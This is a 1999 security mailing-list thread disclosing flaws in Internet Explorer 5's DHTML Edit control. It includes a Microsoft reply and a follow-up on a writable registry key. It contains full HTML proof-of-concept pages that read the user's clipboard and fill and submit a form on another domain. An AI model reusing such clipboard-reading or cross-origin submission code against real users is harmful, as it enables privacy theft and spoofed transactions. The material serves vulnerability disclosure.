Date: Wed, 24 Mar 1999 12:11:09 +0100
From: Juan Carlos Garcia Cuartango <cuartangojc@MX3.REDESTB.ES>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: IE 5 security vulnerabilities


Greetings,
 
Microsoft delivers with IE 5 an Active X control called "DHTML 
Edit control Safe for Scripting for IE 5". In my opinion this
control IS NOT SAFE AT ALL . I have found two  vulnerabilities 
in this component : It makes public the clipboard and it allows
cross-frame access.
IE 4 is also affected as far as the control is a signed component 
and the browser will download it from MS site.(see below my
comments about the CLSID).
Demos are available at  
http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html

I will briefly try to summarize the implications of this issues :

1- The hole makes public the clipboard.
There is nothing new here. This is the third time I have reported 
this kind of vulnerability.  MS says that this issue can be 
blocked by setting the "Allow paste operations via script" to 
'prompt'.  This security option is set to 'enable' by default 
(Medium security). IE 4 does not have this option and there is no 
way to avoid the exploit.

2- The hole allows cross-frame access
The first Internet browser security rule is : scripts can only 
interact only whit documents same domain and protocol. MS calls
this the cross-frame security, Netscape refers to this rule as 
"The same origin security policy".  DHTML Editor violates this 
rule and allows "transaction spoofing", a malicious script can 
submit transactions without the user knowledge. I have asked my 
lawyer consultant about the issue  and their response was : 
"Noboby can anymore use the IP addrress as a proof of an Internet 
crime against Internet Explorer users".  MS says : "We don't see 
that this constitutes a security issue" .

3- Even if Microsoft fixes the hole the hole could exist forever. Why ?
As far as I know  this is the first time a hole is "SIGNED". MS 
has released an "dhtmed.cab" file as an ActiveX component signed
by Microsoft ,anibody can distribute this file and the victim will 
only  see a message telling him that the component is "Microsoft 
signed", I trust MS, everybody trust MS, we will accept the ActiveX.
MS has invented a very clever method to sign software, but there is 
not a way to revoke the signature.

4- There is something rare in the CLSID
Whenever an HTML page references a not registered CLSID nothing 
happens, just the object is not created.  The "DHTML Edit Control" 
CLSID (clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A) is very special, 
Internet Explorer (4 and 5) will try to download the component from 
MS even if CODEBASE is not defined for the object.  Is this a 
documented feature ?   You can test this behaviour, : unregister the 
component "dhtmle.ocx" (using regsvr32.exe) and then load the page
http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html
Why the browser decides to go to MS site ? It only knows :  
clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A 
Acoording whit MS documentation a CODEBASE parameter must be 
explicited in the OBJECT "object" to download the component.
Any idea ?

Regards,
Cuartango

-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html

The  DHTML Editor holes

Microsoft delivers with IE 5 an Active X control called DHTML edit control, 
The Microsoft Dynamic HTML (DHTML) Editing Component allows Web authors and 
application developers to add WYSIWYG DHTML editing capabilities to their Web 
sites and applications. The control has two versions : DHTML Edit Control for 
IE 5 and DHTML Edit 

Control Safe for Scripting for IE 5

The first one is of course marked as not safe for scripting and you will be 
warned if an HTML page contains this object.
The problem I have found : The second one is not safe at all. "DHTML Edit 
Control Safe for Scripting for IE 5" has in fact at least two security holes :

1- It makes public your clipboard (demo).

According with Microsoft security rules access to Windows clipboard content is 
forbidden to Internet Explorer scripts unless the clipboard content was owned 
by the Explorer itself. This issue represents an important privacy leak.

Workaround : Set security option "Allow paste operations via script" to "prompt".


2- It allows "cross-frame" access (demo).

An HTML page or frame can read/write contents in frames owned by any domain, 
which is forbiden by cross-fame security rules. And still worst, It allows 
Tansaction spoofing. This is a very serious danger. The Safe version of 
ActiveX is not able to navigate but It can SUBMIT FORMS which means that a 
malicious WEB page (or E-Mail) can performs transactions agains any WEB site 
but YOU will be responsible because the transaction will have your own IP address.

IE 4 is also affected if you accept the download of the ActiveX (Signed by Microsoft)

Last update March 24 Ao del seor de 1999

-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html

<html>

<head>
<meta name="keywords"
content="cuartango,dhtmle hole,dhtmle hole,IE5,IE 5 hole,IE 5,cuartango hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
<title>DHTMLE Clipboard vulnerability</title>
</head>

<body>
<script>
function getcb()
{
dh.DOM.body.innerHTML=""
dh.execCommand(5032);
S1.value = dh.DOM.body.innerText;
}
</script>


<p align="center"><big><big><strong><font color="#FF0000">DHTML Editor Clipboard
vulnerability</font></strong></big></big></p>

<p align="left"><font face="Arial"><small>According with Microsoft security rules access
to Windows clipboard content is forbidden to Internet Explorer scripts unless the
clipboard content was owned by the Explorer itself. If an script performs a
&quot;paste&quot; operation over an input text box the operation will succeed only if data
were copied to the clipboard from the Internet Explorer.</small> <small>The DHTMLE editor
delivered whit Internet Explorer 5 violates the clipboard security rule. The clipboard
data can then be transferred to a form input box and posted to a malicious WEB.</small></font></p>

<p align="center"><font face="Arial"><br>
<small>To see the demo &quot;copy&quot; some text (from any application) and click the
button below :</small><br>
</font><input type="button" value="Paste" name="B1" onclick="getcb()"></p>

<p align="center"><strong><small><font face="Arial">The box below&nbsp; is a Input Text
Area Box your clipboard text data should be here</font></small></strong><textarea rows="4"
name="S1" cols="80"></textarea></p>

<p align="center"><font face="Arial"><strong><small>The box below is</small></strong></font>
<font face="Arial"><strong><small>&quot;DHTML Edit Control Safe for Scripting for IE
5&quot;&nbsp;</small><br>
</strong></font>
<object id="dh" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="747"
height="105">
</object>
</p>
<div align="center"><center>

<table border="0" width="368" style="border: 1px solid" bgcolor="#C0C0C0">
  <tr>
    <td width="364"><p align="left"><font face="Arial"><strong><small>The script making public
    the clipboard is very simple :</small></strong><br>
    <br>
    </font><font COLOR="#000000" size="3">function getcb()<br>
    {<br>
    dh.DOM.body.innerHTML=&quot;&quot;;
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // clear body<br>
    dh.execCommand(5032);
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    // paste<br>
    S1.value = dh.DOM.body.innerText;&nbsp;&nbsp; // copy to text area<br>
    }</font></td>
  </tr>
</table>
</center></div>

<p align="center"><a href="dhtmle1.html"><font face="Arial">Back to DTHMLE Vulnerabilities<br>
</font></a><font COLOR="#000000" face="Courier New" size="2"><br>
</font><font color="#400040">Created by</font> <a href="mailto:cuartangojc@mx3.redestb.es">Juan
Carlos Garcia Cuartango</a> </p>

<p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
</small><font size="1">Visitors since Mar 22 Ao del Seor de 1999</font></font></p>

<p><small>Last update Mar&nbsp; 24&nbsp; Ao del seor de 1999</small></p>
</body>
</html>

-------------------------------------------------------------------------------
http://pages.whowhere.com/computers/cuartangojc/dhtmle3.html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="keywords"
content="cuartango,dhtmle hole,dhtmle hole,IE5,IE 5 hole,IE 5,cuartango hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
<title>DHTMLE vulnerabilities</title>
</head>

<body>
<script>
function fill()
{
dh.DOM.forms(0).T1.value="Don Juan Tenorio";
dh.DOM.forms(0).T2.value="Hosteria del Laurel";
dh.DOM.forms(0).T3.value="Barrio de Santa Cruz";
dh.DOM.forms(0).T4.value="Sevilla";
dh.DOM.forms(0).T5.value="Andalucia";
dh.DOM.forms(0).T6.value="Spain";
dh.DOM.forms(0).T7.value="424122225555";
window.setTimeout("SubmitForm()",1000);
}
function SubmitForm()
{
dh.DOM.forms(0).submit();
}
</script>


<h1 align="center"><small><font color="#FF0000">T<strong>he&nbsp; DHTML Editor cross-frame
hole</strong></font></small></h1>
<div align="left">

<table border="0" width="765" height="388">
  <tr>
    <td width="246" height="359" valign="top">&nbsp;<p><small><font face="Arial">The box in the righ
    is an DHTML Edit Control Safe for scripting.<br>
    It shows a form loaded from a <strong>diferent domain</strong> (<em>www.angelfire.com</em>).<br>
    Click the button below and I will fill the form and submit It.</font></small></p>
    <p align="center"><small><font face="Arial"><input type="button" value="Demo" name="B1"
    onclick="fill()"></font></small></p>
    <p><font face="Arial"><small>Dont worry about the message displayed. It is only a demo.</small><br>
    <small><br>
    </small></font></td>
    <td width="511" height="359">
    <object classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="497" height="318"
    id="dh">
    </object>
    <script>
dh.LoadURL("http://www.angelfire.com/ab/juan123/dhtmle3form.html");
</script> </td>
  </tr>
  <tr>
    <td width="757" height="21" colspan="2"><p align="center"><font face="Arial"
    color="#FF0000"><strong><small>A malicious script inserted in a WEB page or in an HTML
    formated e-mail can submit transactions that will contain your IP address. (Imagine an
    &nbsp; script writting menaces in the White House guess book)</small></strong></font>.<br>
    </td>
  </tr>
</table>
</div>

<p align="center"><a href="dhtmle1.html"><font face="Arial">Back to DTHMLE Vulnerabilities<br>
<br>
</font></a><font color="#400040">Created by</font> <a

href="mailto:cuartangojc@mx3.redestb.es">Juan Carlos Garcia Cuartango</a> </p>

<p align="center"><font face="Arial"><img src="/cgi-bin/Count.cgi" width="97" height="24"><small><br>
</small><font size="1">Visitors since March 22 Ao del Seor de 1999</font></font></p>

<p><small>Last update March 23 Ao del seor de 1999</small></p>

<p>&nbsp;</p>
</body>
</html>

-------------------------------------------------------------------------------

Date: Thu, 25 Mar 1999 10:06:01 -0800
From: Harry Goodwin <harryg@MICROSOFT.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities

I wanted to take a moment to thank Juan Carlos for bringing these issues to
Microsoft's attention prior to posting the issues publicly.  I also wanted
to post Microsoft's response to the issues he's discovered.

        1)  Internet Explorer has customizable security settings in
place for users who are concerned about allowing certain functionality.  In
this particular case, concerned users can easily block this behavior by
checking either 'disable' or 'prompt' under "Allow paste operations via
script"
in the custom settings section in security zones.  Using the IEAK, admins
can also adjust the default setting for this option before distributing
Internet Explorer to their users.  The option is set to 'enable' by default
to
allow enhanced functionality.

        2)  Upon investigation we did find a cross domain security
violation in the DHTML edit control which we will revoke, fix, and release.

        3)  Internet Explorer has a mechanism in place which allows
Microsoft to release a .reg file to block ActiveX controls by changing a
bit in the registry.

        4)  The following information found on MSDN (search on
CodeBaseSearchPath) addresses this concern: When Internet Component
Download is called to download code, it traverses the Internet search path
to
look for the desired component. This path is a list of object store servers
that will be queried every time components are downloaded using
CoGetClassObjectFromURL. This way, even if an <OBJECT> tag in an HTML
document does not specify a CODEBASE location to download code for an
embedded OLE control, the Internet Component Download will still use the
Internet search path to find the necessary code.
        Internet search path syntax
        The search path is specified in a string in the registry, under
the key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\CodeBaseSearchPath. The value for this key is a string in the
following format:
        CodeBaseSearchPath = <URL1>; <URL2>; ... <URLm>; CODEBASE;
<URLm+1>;
            ... <URLn-1>; <URLn>
        In this format, each of URL1 through URLn is an absolute URL
pointing to HTTP servers acting as "object stores". When processing a
call to CoGetClassObjectFromURL, the Internet Component Download service
will
first try downloading the desired code from the locations URL1 through
URLm, then try the location specified in the szCodeURL parameter
(corresponding to the CODEBASE attribute in the <OBJECT> tag), and will
finally try the
locations specified in locations URLm+1 through URLn.
        Note that if the CODEBASE keyword is not included in the key,
calls to CoGetClassObjectFromURL will never check the szCodeURL location for
downloading code. By removing the CODEBASE keyword from the key,
corporate intranet administrators can effectively disable Internet Component
Download for corporate users.

        Thanks,  Harry

-------------------------------------------------------------------------------

Date: Thu, 25 Mar 1999 14:57:51 -0500
From: Phil Brass <pbrass@ISS.NET>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: IE 5 security vulnerabilities


>         4)  The following information found on MSDN (search on
> CodeBaseSearchPath) addresses this concern: When Internet Component
> Download is called to download code, it traverses the Internet search path
> to
> look for the desired component. This path is a list of object store servers
> that will be queried every time components are downloaded using
> CoGetClassObjectFromURL. This way, even if an <OBJECT> tag in an HTML
> document does not specify a CODEBASE location to download code for an
> embedded OLE control, the Internet Component Download will still use the
> Internet search path to find the necessary code.
>         Internet search path syntax
>         The search path is specified in a string in the registry, under
> the key
> HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet
> Settings\CodeBaseSearchPath. The value for this key is a string in the
> following format:
>         CodeBaseSearchPath = <URL1>; <URL2>; ... <URLm>; CODEBASE;
> <URLm+1>;
>             ... <URLn-1>; <URLn>

On my NT4 SP3 box, permissions on this key are set to Everyone: Special
Access, which includes set
value.  Therefore, anyone who is a user on this box can control where
every other user downloads
their controls from.  Is that OK?

Phil

